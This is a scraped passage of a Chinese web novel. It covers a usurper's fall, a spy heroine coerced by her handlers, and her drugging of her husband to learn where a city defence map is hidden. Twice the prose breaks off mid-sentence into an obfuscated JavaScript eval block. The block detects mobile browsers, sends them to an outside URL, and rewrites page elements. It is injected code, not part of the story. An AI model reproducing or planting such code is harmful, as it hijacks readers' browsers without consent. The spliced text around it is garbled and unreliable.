季康冷笑一声,递给贺起一个眼神,他接到示意后,一步步朝唐太傅走去,举起手中大刀,正要落下之时,陡然间听到“嗖”一声,一支箭瞬间正中那贺起的脖颈,穿颈而过,死死钉在了后方墙壁之上。他手中的刀“哐铛”掉落在地,瞪大眼睛,抬手摸着颈部空洞伤口,鲜血翻涌而出,顷刻间,他轰然倒地,一动不动。 季康大惊,和众臣一同看向太极殿外,只见周成虎纵马而来,在他身后的,是同样骑马的季辞,手中还握着那柄刚射出一箭的重弓。 而他们四周的士兵也在得命后大喊着冲入殿中,南衙禁军与神武军混战在一起。 朝臣们在得救的同时,纷纷惊慌不已,抱头鼠窜,四处躲避。 季康身子剧震,歇斯底里道:“人呢?除了神武军,其他北衙的人呢?” 只听远处周成虎纵马进入太极殿中,大喊:“季康无道!伪造遗诏!弑父夺权!祁王拨乱反正!羽林军早已归顺祁王,龙武军皆以伏诛投降!祁王知尔等被小人所蒙蔽,只要在此弃械投降,皆不追求尔等罪责。” 此话一出,季康意识到他大势已去,见场面混乱之际,他抽起一把刀,转身朝着背后屏风而去,用力将屏风后纸窗劈开,逃之夭夭。 他动作算是迅速,在甲卫完全包围太极殿前,找到缝隙逃了出去。 如今盛京军队皆不在他控制之下,他的好皇叔可真叫他叹为观止,明明身在狱中,却短短几天便以摧枯拉朽之势拿下八成禁军兵权。 他想到如今自己身下还有一支远在曲州的白虎军,当初从霍氏手中夺来。只要他能下到曲州,说不定有机会带兵攻回盛京。 这个季辞,他绝对不会放过!还有他的叶儿妹妹! 此生不夺他妻,他誓不为人!!! 他在宫中四处躲避,虽心中宏愿甚伟,可宫墙之高,守卫之森严,却实在不知如何逃脱。 正当他无头苍蝇一般,一只手忽然拉住他,低喊道:“陛下!” 他转头一看,竟是自己的贵妃段氏。 “怎么是你?” 段氏不等他说话,立即道:“陛下,妾知有一处可逃离皇宫,陛下若信妾,便随妾来。” 季康心中并不信她,可眼见四下毫无办法,便只能赌一回,跟随上段氏的脚步。哪知她所说的逃离之地是一处令人作呕的粪池。他闻到那屙物气味便不受控制呕了几声,见段氏坚定,又想到自己心中抱负,最后还是忍下屈辱,同她跳入粪池,顺着池底,游出宫墙之外。 而太极宫中,原本还想挣扎一番的一些神武军,转眼发现季康早已遁逃,心中气愤,纷纷扔下器械投降。 在这一番混乱之中,最后由年少的季琅称帝继位,季辞为摄政王辅政。季琅接过太皇太后手中圣旨,和季辞对视一眼,点头致意后,令下跪的朝臣纷纷平身。 派人将太皇太后送回安和园,又整顿一番皇城护卫,交接过朝政要事之后,已过戌时。他再也按捺不住心中的思念,开始往安和园纵马奔去。 今日清晨,天还未亮,天去忽然接到太皇太后手下女官暗中传信,告知今日计划,望在登基大典之前配合共同行事。赵氏知他这段时日所为,却暗中不动,不理两方争端。 他从那密信上知晓姜秋叶在养心殿偷得先帝遗诏,冒死带出送往安和园,后又说服赵氏出面宣真正遗诏。 正是有这遗诏,才让他师出有名,在前往养心殿前如此顺利拿下羽林军兵权。 这个傻子,他明明与她说过,安心待在椒房殿等他便是。 在看到密信的瞬间,他忽然很想见她,那股无法抑制的冲动涌上头皮,可是理智告诉他在那关键时期,容不得一丝差错。 直到终于事毕,他浑身血液翻涌,再也无法等待片刻,就好像回到少年之时,如情窦初开般的毛头小子,眼里心里,从此只剩下她一人。 马匹飞跃过盛京街道,马蹄溅其地上积水,路过一个个商贩店铺,街道旁树上的些许会花瓣被垂落打在身前。当他赶到安和园时,便看到在门口等待自己的她。素色罗裙,惊鸿髻配上一朵宫花,带着温和的笑容,眼中潋滟柔光,浅浅的酒窝浮现脸颊之上。 他们成亲以来,每次黑夜下回府,总能看到这番画面。 一个娇妻,一桌热菜,一盏明灯,一个亲吻,一夜温存。 他收紧缰绳在离她很近的距离停下,原以为自己会飞奔而去将她高高举起,可他还是压制住自己激烈跳动的心,一步一步走到她的面前,一字一句道:“叶儿,我回来了,我很想你。” 姜秋叶看着他,眼中泛着娇笑,踮起脚尖,手臂勾住他的脖颈,用力吻上他的唇。 98.天机 第九十八章 白日下过雨,还带着微凉残留在空气之中。 扑鼻而来的香味让季辞心中悸动,反客为主,撬开她的牙关,席卷一切。能感受到呼吸交融,啃噬这般柔软,香甜可口,四肢颤动。 许久后,他将她拥入怀中,在她耳边低喃着“叶儿”,闭上双眼,享受着这片刻宁静。 忽然听到不远处脚步声,姜秋叶笑着将他推开,看着他欲求不满的脸,将捧腹大笑的欲念憋回,她压低声音道:“这里是安和园,太奶奶在,要庄重。” 说完便转身,看向朝他们走来的女官,对方面不改色,似乎什么也未看到,只是面无表情地行礼道:“恭迎王爷,太皇太后在内室等待已久,她知王爷今夜定然事物繁重,却还是请王爷一道用过膳后再走。” 季辞郑重应声,牵起姜秋叶的手,在女官的带领下,往安和园深处而去。 两人见到赵氏时,共同朝着她行跪拜大礼。她面色慈祥一笑,抬手让两人起身,而后便是一阵寒暄。又赞扬道祁王妃巾帼之勇,在那种关键时刻,做到临危不乱,与安阳共同将遗诏拿出。 一番话语让姜秋叶低头,又羞红了耳根,只道:“太奶奶谬赞,妾身只愿与王爷遥以心照,帮上了忙就好。” 说完话后,两人同落座一侧,安静用膳,看着对面的安阳则是与赵氏大谈特谈昨夜惊险,引得赵氏大笑不止。 倒是季辞则有些黑脸,没想到此番从宫中出逃,比他想象的更为艰难。 他转头一瞥扫尾子一般,光顾着吃饭的小妻子,心中温软,案几下伸手握住她的左手,掰开手指,十指紧紧相扣。 又伸出脚尖勾了勾她的小腿。 姜秋叶吃饭的动作一顿,心跳忽然加速,先是快速朝着赵氏一瞥,见对方没注意到他们两人,松了一口气,又转头剜了一眼面不改色的季辞。 她下箸,悄悄伸出另一只手,朝着他腰间狠狠一拧。 而后手又快速缩了回来,她只感觉......好硬。 季辞却依旧没有任何表情,光顾着吃面前那道鸡丝。姜秋叶忽然玩心大作,知他平日里不喜肥肉,看着不远处那红烧肉,油光水嫩,肥到有些反胃。 她伸手将那红烧肉夹过,偷笑着放入季辞碗中,见赵氏朝着他们看过来,姜秋叶转头看着季辞勾起唇,娇声道:“夫君太瘦了,多吃点,补补身体。” 季辞见这碗中肥肉,一扯嘴角,听赵氏跟着道:“是啊,辞儿如今病症基本好了,更要多吃点,把以前没吃的都补回来。” “是,太奶奶。”他又看了眼一旁眼中带着忒坏的小妻子,无奈下箸,将那肥肉放入口中,没怎么咀嚼便一口吞下。而后,又喝了不少茶,将那腻味驱走,缓了好一会儿,才压制住那呕意。 放下茶杯,安阳和太奶奶还在嘴不停地闲聊。转头看向正在偷笑的姜秋叶,倾身来到她耳边,呼吸碰过她的耳垂,有些痒,只听他低沉道:“没关系,叶儿想让为夫吃甚,为夫都吃。等回了王府,继续吃到叶儿满意。” “噗——”姜秋叶成功将口中的茶水一口喷出。 什么意思?吃什么? 见所有人看过来,才意识到自己失了体面,脸瞬间涨成猪肝色。 这个季简兮,臭不要脸! 在她一脸的歉疚下,终于结束了用膳,但很快宫里来了人寻季辞。今日少帝刚刚上位,事情比平日更为繁忙。 他来不及多说几句,便往宫中赶去。姜秋叶没找到机会与他坦白之前的决定。而天色已晚,她留宿安和园一夜,第二日再回祁王府居住。 翌日大清早,姜秋叶便回了祁王府打理府中之事。这些时日,府中无主,又因为季康的旨意,下人纷纷入狱,王府被抄。 如今府中杂事纷乱,各种花枝草木皆需修剪,房屋也需清扫修葺。忙碌一上午,便又开始下起了雨,心情随着阳光被笼罩,也跟着跌了几分。 正当她正回到寝室休息时,府中小厮忽然来传,说有人来园中寻她,正在门口等待,似有要事。 姜秋叶问对方名号,那人却只对小厮称是她好友,今日知她平安,特来王府拜会。 她不知自己有何好友,便让小厮将人请到前堂等待,自己则随意整理一番,往前堂而去。 见到来人背影时,一身玄色披风,腰身纤细,她心中一怔,道:“淑妃娘娘,您怎突然出宫了?” 淑妃转身,摘下额顶的帽,朝她一笑,“许久不见了,祁王妃近来可好?” 今日的雨有些大,豆大雨滴从屋檐上落下,两人坐在窗边,闻着雨中清香。 姜秋叶让人为她备了茶,眼神闪烁,缓缓将清茶斟上,推至她跟前,“天气这么差,娘娘怎冒雨前来,是有何要事?” “也无甚要事,你在永和宫中住了许久,说实话,与你生了些感情。前些时日这一桩桩大事,人人皆受累,见你也不进宫,便寻思着出来找你说些闲话。” “嗯,我很好,让娘娘记挂了。不知魏王可好?” 提起魏王,淑妃无奈微微摇头一笑,“如今新帝登基,我准备请求祁王,允魏王去往自己的封地。我为他选了门亲事。” 姜秋叶饮过盏中热茶,抿唇道:“魏王如今年纪,早该成婚了,这样也好。” 她抬眼一瞥淑妃,试探开口道:“娘娘今日冒雨前来,恐怕不仅仅是为了闲聊吧?” 淑妃朝她笑了笑,没有说话。 姜秋叶道:“娘娘是想让我猜一猜?” “那我若猜的不好,娘娘莫要怪我啊。” “自然不怪。” 她见淑妃一副闲淡模样,继续道:“如今新帝登基,祁王成为摄政王,一切都有了着落。可曾经那些案件,疑点仍在。比如晋肃帝之死,比如祁王被污蔑下狱。娘娘今日,必定是因此来寻我吧。” 淑妃垂下眸,看不清眼中神色,道:“祁王妃果真聪慧,猜了那么多,不如再继续猜猜?” 姜秋叶直视她,道:“先帝在世时,我曾每日往养心殿中送去药膳,却未想到竟被人利用此点,往我药膳中下毒。如今废太后霍氏,在殿中被搜出牵机,弑君证据确凿。可那证据在我看来,并不是最有力的证据。” “宫殿如此之大,来来往往宫女内侍如此之多,那毒药若是被人故意放入,也不奇怪。当时我被捕下狱时,便在思索。先帝用膳前,一定会用银针试毒,可后来因着对我的信任,每次便直接将药膳服用。是谁?能知晓这一点呢?” 淑妃摸了摸下巴,“李公公?” “李公公是有嫌疑,我也曾怀疑过。可若李公公要毒杀陛下,根本不需要利用我的药膳。他只要将银针换假,做一做手脚,想要下毒,那便是轻而易举之事。这时候,除了李公公,我便想到了另一人。” “是谁?” 姜秋叶看着她,含笑道:“还有娘娘你啊。” 屋外的雨飞进来些许,打湿了两人中间的案几,姜秋叶见状,拿出帕子轻轻擦净。 “最初暗杀失败的死士,是娘娘的人吧。娘娘是真想杀了先帝,然后嫁祸祁王,谁曾想,那刺杀竟然失败。后来见我入宫求见先帝,便想到了利用我,来毒杀先帝。所以您便为我和先帝牵线,趁着他病入膏肓,难以进食,建立起他对我的信任。” “当时他的病症,就如同沙漠中行走之人,长时间饥渴,本以为自己已经踏入鬼门关,却忽然看到一片水源,便不在乎那水中究竟有何,直接扑上去饮下。所以娘娘也是从准备动手之前,便感染风寒,整日躺在永和宫中,不再出殿门。” 淑妃缓缓抬起头,拍了拍手掌,赞扬道:“祁王妃真是比我想象得还要聪明。可是当初嫁祸祁王的印信又从何而来呢?难道不是王府中出了叛徒吗?” 姜秋叶想到此,笑了笑,将淑妃的茶盏中添满茶,“我曾经也怀疑是王府中出了叛徒,可后来仔细一想。密信上的印信,真的需要祁王那枚印信吗?其实并不。” “既然娘娘与季康在此事上合谋,嫁祸废太后霍氏,那从梁王季康那里拿几封带有祁王私印的卷宗,也不难啊。只要有那卷宗,模仿笔记,伪造印信之事,以飞燕阁金鬼的能耐,应是轻而易举。” “对吧,奔稚大人。” 淑妃双拳攥紧,没有说话,只是依然脸颊带笑。 姜秋叶看着外面的大雨,轻声道:“你应该......早就知道我的身份了吧。” “没错,从你当初入宫,皇后赏菊宴时,我便怀疑你了。霍恒下的催情香,连他都能被迷晕到光天化日下与人媾合,而你却能察觉并脱逃,这不应是乡野邱子叶能做到之事。后来细细观察,更加确定了你是飞燕阁之人。” 姜秋叶蹙眉问道:“魏王呢?是你亲生儿子吗?” 淑妃道:“自然是我与先帝的亲生儿子,这点毋庸置疑。” “那为什么?你为什么要与季康合谋?将魏王推上帝位,不应该对你更为有利吗?” “帝王之位,坐上后便无退路,除了前进,便只有死路一条。众人皆追求权势,可我只想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069002|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让季桑安稳度过一生。而让季康上位,他的治国以及对骊理念,于我飞燕阁来说,有百利而无一害。为何不帮呢?” 姜秋叶的手握了握,“你今日来寻我,不怕我将你身份透露给季辞?” 淑妃却满脸无所谓道:“我既然来寻你,便不怕你透露我的身份。我今日来,也是见如今大势已去,而现在,只是想让你帮我与言无搭上线而已。” “这位......祁王妃,若是想要最终的解药,便乖乖听话。别忘了,我是金鬼,你只是一个银鬼。我能看出来,你厌恶飞燕阁,寻求的不过是自由。快了,完成这最后一个任务,无论是言无,还是我,都会帮你拿到你想要的自由。” …… 京杉书院之中,言无落座于案几之前,一人解一棋局,正是他下至关键之处,忽听王匐来报,姜秋叶前来书院寻他。 他微微一笑,将手中棋子不急不缓落下,等彻底解完这棋谱后,又饮下一杯清茶,才缓缓起身,扭着腰,勾着兰花指,往室外而去。 京中大雨不歇,噼里啪啦打在屋檐之上。姜秋叶收起油纸伞,站在门廊之下,感受着空气中的冷冽,面色阴森低沉。 她终究还是来了京杉书院。 等待许久,才听到身后言无过来的动静,终于转身看向他,没好脸色道:“找到金鬼奔稚了。” 言无挑眉,前言轻笑道:“哦,是谁?” “晋肃帝的淑妃。” 言无听闻后面上无一丝震惊,只是侧身从怀中掏出一颗药丸,递给姜秋叶。她见状接过,直接将其服下。 她蹙眉道:“我如今帮你和奔稚牵上线,你什么时候才能将最终的解药给我?” 言无却瞪大了眼睛,道:“最终的解药?叶儿妹妹,莫要忘了,你还有一个任务没能完成。” “你是说盛京城防图?” 她垂眸不解,一个城防图,为何飞燕阁与骊国如此执着?而这图竟然藏的如此之深,便连隐藏在晋肃帝身边这么多年的淑妃都未能寻到。 言无颔首,“对,找到城防图,就放你出飞燕阁。” “可是如今,我也不知这东西藏在何处,连奔稚都未能找到,你凭什么认定我可以?” “因为我知道你可以。”他转过头,死死盯着她,“知道当初为何派你来此地,而不是别人吗?” “为何?” 言无一步步走近,站定在她面前,挑起她鬓间一缕发丝,“叶儿妹妹,你是我亲手培养的,这世上没有一个人比我更了解你。你觉得当初,王掌事手下那波组织,明明都是些蠢货,为何在盛京那么久都未能被发现吗?” 姜秋叶瞳孔瞬间放大,只觉冷汗直流,寒意刺骨,“飞燕阁与王掌事有合谋,在暗中庇护她的组织。” “没错。”言无神情中带着激动,“你觉得王掌事为何偏偏要选在你与张凉的新婚夜动手?” 她沉默起来,斜眼盯着言无,带着作呕的神情没有回答。 所以,言无一开始的目标便是季辞,为了给她寻到一个适合的身份,送到季辞身边。便利用王掌事对张凉的仇恨,让她在那夜灭门张家。 言无啊,真是下了好大一盘棋。 见她沉吟不语,言无并不在意,“叶儿妹妹,这世间没有一个女人,能如你这般迷惑人心,所以我才选择将自己最大的底牌送给祁王。祁王一定知道城防图放在何处。” 姜秋叶忐忑不安,犹豫道:“可是,此等重大之物,他定然不会告诉我这东西放哪儿。” “没关系。” 言无从怀中掏出一个小药瓶,放在她的手心,“此药名为天机,服下后便会让人失去片刻心智,你问什么,他便会答什么。” 姜秋叶低头看着这药瓶,死死攥紧。 “叶儿妹妹,放心,这药无毒。只要你拿到这最后一样,你便真正自由了。”他的声音幽幽传入她的耳中,蛊惑着她。 姜秋叶最后抬眸看向他,最后将那药瓶揣入怀中,点头道:“好,这可是你承诺的。” “自然。” 姜秋叶不再多话,直接撑伞,步入雨帘之中。 言无看着她消失的身影,眼神黯淡。 最能蛊惑人心的女人,是啊,他比世间任何一人都清楚。 那份黑暗中,依旧阳光般的甜笑,在看到的第一眼时,便被迷了心智。 他还是骗了她,那天机,虽不致死,却能使人永久沉眠。 她应是冷血之人才对,不应该爱上任何男人。 99.羊汤 第九十九章 少帝继位,改年号景平。 季康在位之时,留下了不少烂摊子。而如今少帝年幼,全部都压到了季辞头上。 曾经所制定的战略需弃用整改,因此赋税,军队部署,军职安排,都需做大清洗。而近日雨季雨水比往年多,东部沿海不少区域受灾,农田被毁,国家财政空虚,需寻法筹钱拨款。 还有一支让他头疼的白虎军,曾被季康从霍氏手中夺取,如今驻扎曲州。那白虎军新任怀化大将军乃季康心腹,据说此人勇猛刚直,曾一人之力单挑二十人。 可若是单单以游说之,定然难以收买。 有人提议直接将白虎军将领斩首,定能夺取军队兵权。 可也有人反对此法,无责而罚,与季康何异。 季辞召集六部于太极殿议政,已是月朗星稀,坠兔收光。 兵部尚书上前拱手道:“王爷,臣有一计。” “说来听听。”季辞双手交叉,身体前倾。 兵部尚书道:“如今的白虎军大将军高贤对季康衷心不二,只因季康对其有雪中送炭之恩。他虽心若顽石,却也是一大晋猛将。北伐在即,关键时期,我大晋需要此等猛将相助。” “依臣看,不如从白虎副将魏迁下手。据臣所知,这魏迁平日里贪财好色,乃一小人也。” “对君子,难,可对小人,王爷只需向其送上珠宝美人,再许诺白虎军统领职位,便能让他在军中从中作梗,以特殊手段夺取兵权。” “到时候再将此人与高贤引入盛京,对魏迁赋上一空职,以正高贤威名为由,找出错处重重惩之。那王爷,便能施恩于高贤,不仅可获此猛将,还能将此军队重新拿回手中。” “恩威并施,好计。” 季辞对兵部尚书的计策十分认可,很快便定下战略,让人快马加鞭,前往曲州,收买那魏迁。 终于将今日要事处理完,季辞便马不停蹄往王府赶去。 他捏着眉心,满是疲倦,想到自己回府如此之晚,心中不由内疚。距离姜秋叶上一次毒发将近一月之期,也不知此次该将如何。 他摸了摸手指,忽然又想到什么,立刻让马车改道刑部。 早已过了宵禁时辰,街道上空无一人。 他进入刑部后,轻车熟路寻到自己曾经办公的居室,进入后点了两盏灯,环视四周。 停在书柜前,用力推了推,开始试图将书柜挪开。却无奈其巨重无比,上面又陈列不少花瓶等易碎之物。 最后思索一番,还是趴到地上,将手伸向书柜底部,可那缝隙太小,只能塞进几个指头。 转眼一观,他从一旁案几上拿下一把木尺,往那缝隙中试探扫过,最后果真有清脆声响。 不一会儿,一枚玉扳指终于滚了出来,在烛光之下泛着清透白光。 看着那扳指,他终于微微一笑,将其捡起放在手中摩挲着,上面片片叶子精致细腻。 幸好,它完好无损。 用帕子将灰擦净,将其套入拇指。他终于走出刑部,上了马车,往王府归去。 到达时已是夜半三更,今日并未在王府门口见到自己的小妻子。一路往归鸿院而去,便见寝室中一抹淡淡烛光,忽暗忽明。 他推门而入,看到躺在贵妃椅上,已经睡着的姜秋叶。似乎早已沐浴过,身着单薄寝衣,乌发垂落,腹上还放着一本打开的书。 原以为她又再看何话本,将那书拿起来后,才发现是一本佛经,让他一怔。 姜秋叶被他的动静吵醒,揉了揉眼睛,又哼唧了一声,似乎还未完全清醒。等终于看清面前之人,她咧嘴一笑,手撑着贵妃椅起身,倾身抱住他的腰,软绵绵缩在他的怀中。 “夫君终于回来了,叶儿本想等夫君,却没想到竟睡了过去。” 季辞笑着抬手揉了揉她的头顶,“累便先睡,无需等我。” 他将手中的佛经放到一旁,拥住她的玲珑娇躯,又好奇道:“今日,怎的想起来看佛经了?” “这都是太皇太后之前赠我的,一直放在角落中。最近经历这许多,便想拿出来看看。” 她一边说着,一边又将头往他怀中拱了拱,惹得他忽而一痒。 他稳了稳她不安分的脑袋,问道:“那可有悟出什么?” 姜秋叶扬起头看着他,最后嘟着嘴摇了摇头,“没能看明白,明明字字句句都认识,合在一起,便不懂了。” 季辞看着她,心中只觉得过分可爱,“噗嗤”轻笑一声,又立即收住,“哪里没看懂?为夫教你。” 她仰着头看着他眉眼间的疲倦,抬头抚了抚,心中不忍道:“今夜便算了吧,等下次。夫君用过晚膳了吗?” 季辞点头,她打起精神起身,拉开门喊了明月加热水,而后便拉着他入净室。正当她为他解下腰带时,忽然发觉他手上的扳指又戴了回去。 她惊喜抬头,问道:“夫君不是说这扳指不见了吗?” “哦,后来又突然找到了,原来是掉到一个角落中,好在没有摔坏。”他说完后便不自觉地摸摸鼻子,将视线转到一边。 姜秋叶心中欢喜,拉着他的手轻轻抚摸着这玉扳指。想当初在金品阁订做这扳指时,心中并没有太多情感,只是利用此物为自己制造一个假的不在场证明,顺便送他。 可后来成亲后,见他每日佩戴,从不离身。她似乎也将自己化为了这扳指的一部分,只要看到在他身边,便很安心。 她抬起他的手,落下一个轻吻在玉扳指上,那气息让他手指微痒,有些异样之感。 他在她的伺候下入了浴桶,作无意状问道:“叶儿,你最近身体如何了?还好吗?” “挺好的啊。夫君怎会有此一问?” “嗯,没什么,就是想到入狱前两日,你还忽然吐血昏厥来着,有些担心。” 姜秋叶拿着帕子的手一顿,又摇了摇头,“如今叶儿无碍,夫君莫要担忧。” “嗯,那就好。” 季辞没有转头看她,只是看着浴桶中平静的水面,眼神稍微有些黯淡。他曾试图让她依赖自己,他可以不去在乎她曾经之事,可如今这么久过去,她似没有丝毫与自己坦白的征兆,让他心中有些失落。 或许她还未曾想好罢。 而前些日子又发生了如此多事,她为他东奔西走,好好平静歇息段时日,也是好的。 既然他说过给她时间,那便不应催促于她。 姜秋叶低着头,掩藏下眸中情绪,一边思索着这些时日的决定,一边想到言无所说的最终解药。 鱼和熊掌不可兼得,难道世上真无两全之法? 她心不在焉地将他伺候完,躺上床榻时已经过了子时。两人都疲惫不堪,只是拥在一起,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13091620|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有做任何多余之事。 季辞似乎很快便入睡过去,呼吸也渐平缓,姜秋叶却彻夜未眠。 那个小药瓶,那串金脚链,还藏在她所用的枕头之中。 接下来的时日里,她总是无所事事,后来开始抄起了太皇太后送她的佛经。 里面的字字句句她并不太懂,也悟不出什么大道,但她却发现,专注于抄写,能让她心绪逐渐平静下来,重新思考言无的话。 听闻北方蠢蠢欲动,晋国正在集结兵力至北部边境,虽还未开战,却也能感受到民间人心惶惶。 而邱颖预产期将近,整日被要求待在安国公府中,大门不出二门不迈。期间,姜秋叶将明月做好的虎头帽送至国公府,见她胀大的肚子,心中竟惶恐不安,连邱颖都不由嘲笑上两句。 等回到祁王府中,忽听闻北方传来的战报,骊军分别五万兵马,进攻淮西与南阳两城。好在晋国也早有准备,边境戍军及时应战。周成武被重封永威大将军,做前锋,领三万兵马前往淮西支援。 同一时刻,姜秋叶收到了来自淑妃传来的密信,看起来她与言无已联系上,而对于盛京城防图一事,因着如今战事吃紧,越发坐不住,开始逼迫起来。 将那密信烧毁之后,姜秋叶终于做下了最终决定。 是夜,宫中传来季辞早归的消息。自交战开始后,他便更加忙碌,每次回府都接近子时。 姜秋叶时隔许久,终于自先帝崩逝后,再次亲自下厨,做了一碗曾经在刑部时的那一碗附子羊汤。 即将入夜,天气却还带着一丝热气,她随意换上一袭粉裙,不再做过多装扮,只是站在王府门口静静等他归来。 看着远处的马车慢慢停在自己面前,季辞刚下马车,她便忍不住扑了上去,抱住他,那股熟悉的佛手柑香再次入鼻,清淡典雅。 “夫君,你今日为何能回来如此之早?” 季辞听闻此话后微微蹙眉,伸手一刮她的鼻尖,“怎的,为夫回来早还不高兴了?” 他敏锐察觉到今日的她情绪似乎异常,却又说不出是何处。 这些时日,特别是与北方开战之后,派出盯着她的暗卫又翻了一倍,可每日禀报中,并未看出她有做何可疑举动。 每日除了待在王府中抄佛经,便是偶尔到安和园中陪太皇太后用膳。在外人看来,真乃至仁至孝。可季辞却知晓,这样的时期,飞燕阁一定有动作,加派于任务给她,虽不知是何。 他已多日未能回王府用膳,姜秋叶拉着他直接回到了归鸿院,落座膳堂食案前,桌上都是盯着厨子做了一下午的山珍海味,还有一碗她亲手制的羊汤。 “夫君好不容易归家用膳,今夜定要多吃些。” 她先为他布菜,而后将羊汤分别为两人盛出一碗,推至他的面前。 季辞拿起勺子搅动着,感叹道:“确实很久没喝到这羊汤了,每次见到,都总会想起当初刑部那一幕幕场景。” “是啊,没想到过去那么久时日,所有事情仍然历历在目,就好似昨日发生一般。”姜秋叶笑了笑,先将自己面前的羊汤喝下,汤碗将她眼中怪异的神情所遮掩,等落碗后,舔了舔唇角,偷偷一瞥他,“夫君快喝吧,凉了便不好喝了。” 季辞双眼微眯,静静看着她脸上与往日无不同的微笑,又看着她面前已经空荡的小银碗,最后缓缓端起羊汤,一饮而下。 100.罪孽 第一百章 近日连绵不断的暴雨,归鸿院中的花树被打散了不少,太医与下人的脚步进进出出,将地上不够坚强的花瓣踩成烂泥。 姜秋叶坐在床榻边,紧紧握住季辞的手,他拇指上的玉扳指膈得她生疼。她满脸泪水,双眼通红,似乎哭了许久时日。 “王妃?放手啊,王妃。”太医令见她上气不接下气,心中着急,却也不知如何安慰。 姜秋叶似乎有些呆愣地看回太医令的脸,满是不解。 太医令恭道:“王妃,请让老臣为王爷切脉。” “哦,好。”她这才反应过来,即刻松开他的手,退至一旁。 太医令随着诊断脉象,脸上神色越来越僵硬。姜秋叶却顿住一般,死死盯紧了他的神色。 她犹豫着开口问道:“王爷怎么样了?为何会突然昏厥?” 太医令起身朝着她拱手道:“回王妃,王爷的症状,有些类似于中毒,可却并非完全中毒。老臣现在只能替王爷开一些排毒的药方,给老臣一些时日,好好下去研究这解毒之法。” “麻烦太医令了。” 她看向一旁面色同样着急的明月,吩咐道:“送太医令下去,帮着把药煎好,再让人打一盆热水来。” “是,王妃。” 待明月与太医令离去后,房中除了在床上不省人事的季辞,只剩下天去。 天去满脸怪异与怒意地盯着姜秋叶,跟在王爷身边贴身办事,他自然知晓眼前这个女人的真实身份。 一个飞燕阁细作,他实在不明白为何王爷不将她下入狱中招供,反倒不允许他对任何人泄露半句。如今王爷躺在此处,面色惨白,实在很难不怀疑是这个女人做的手脚。 心下一冲动,他两步上前紧紧抓住姜秋叶的手腕,她手上还拿着准备替季辞擦脸的帕子。 姜秋叶一怔,心觉不悦地看着自己被抓住的手腕,又蹙眉将视线移至他的愤怒的脸,感受到他用力收紧,一阵阵疼痛传来。 “天去,你如此以下犯上,是想做甚?” 天去咬牙切齿,暗恨道:“王妃,王爷如今这般模样躺在这里,与你可否有何关系?” 她眯起了眼睛,冷笑一声,“天去,你这是何意?” “王妃,王爷对你这般好,你竟然还如此害他!你还有心吗?曾经听闻农夫与蛇的典故,没想到竟在你与王爷身上上演。” “我不明白你在说什么!王爷如今这副模样我也着急,我也心痛!”说着,她又再次红了眼,金豆子掉个不停。 她将自己被抓住的手轻轻翻转,便挣脱了天去的桎梏,“天去,你与其有这番精力与我争执,不如去找找唐太傅这些辅政大臣。如今王爷这模样也无法处理朝政,现如今北方战况激烈,少帝又年幼,而他向来信任唐太傅,若交与此人,王爷才会放心。” 天去被堵住,哑口无言。想到季辞曾交代的话,虽说他气恼到想直接将这黑心肠细作杀死,可也无可奈何,便只能犀利转身,踩着步子离去。 姜秋叶呼出一口气,这时,明月也将热水与煎好的药送来,她让其放下后直接离去。 等无人后,才重新坐回床榻边缘,将帕子用热水浸湿,轻轻擦过他素额的细汗,又伸手将他发丝捋捋。 “季辞,你可真够傻的,你便这般信任我吗?你这么好,让我这样的卑鄙小人,情何以堪?” 手轻轻抚过他的鼻梁,颧骨。她一直都承认,季辞是她见过最好看的男人。并非情人眼里出西施,而是他真的俊美。 她本就是庸俗之人,或许当初张府见到他的第一眼时,便被这皮相吸引了也说不准。 “当初我昏迷时,是你悉心照料,不假手于人。如今到我了,我的简兮哥哥。” 她彻夜未眠地守在榻边,断断续续说了不少话。从她儿时惊人异禀的偷窃技术,到春花楼跟在花魁身边的时日,她一字不落地讲述给他听。 夜色渐深,又过黎明,她终于倾身,在他唇角落下一个香吻,可惜身下的人依旧一动不动。 三日过去,太医令对季辞的状况束手无策,也不知风声如何走漏,竟传至大街小巷。摄政王执政短短时日,竟遭暗算下毒,至今仍昏迷不醒。朝中蠢蠢欲动之人开始有了行动,党派之争愈发激烈,好在有唐太傅等人坐稳朝局。 随着时日的过去,季辞仍未清醒,而北方战局传来了捷报。周成虎所领军队,击败徘徊于淮西的五万骊军,并趁机反攻,两日便拿下骊国一座城池。 飞燕阁似乎也因此更加坐不住,淑妃带着威胁话语的密信一封封传来。当姜秋叶烧掉手中最后一封密信时,终于离开了寝室。 季辞昏迷这些时日,首次踏出房门。 她心中平静淡然,无视院中做活的下人,直接往书房而去。环视一眼四周,轻车熟路来到一处暗格。 这暗格的机关隐蔽,若非那夜通过季辞口中得知,她或许一辈子都不知这机关所在。 将手伸至书架背部,轻轻转动一块不明显的凸起后,书架中的一格木板掉了下来,再朝着露出的墙面一推,暗格便开。 里面有几份机密文件,她一次性将其全部拿出,放置书案上翻找。果不其然,盛京城防图便在其中。 当她将这舆图展开时,终于知晓为何飞燕阁如此大动干戈,寻这份图。 原来当初晋安帝在先晋灭亡之时,艰难才得以从乾阳脱逃,其中牺牲之大,不由言说。而在他抵达盛京建立后晋时,因着有了先前的教训,便在这盛京地下暗中修建了通往城外的密道。 密道分三路,从晋和宫太极殿,一路直达河边,一路达邻城,一路入荒山。 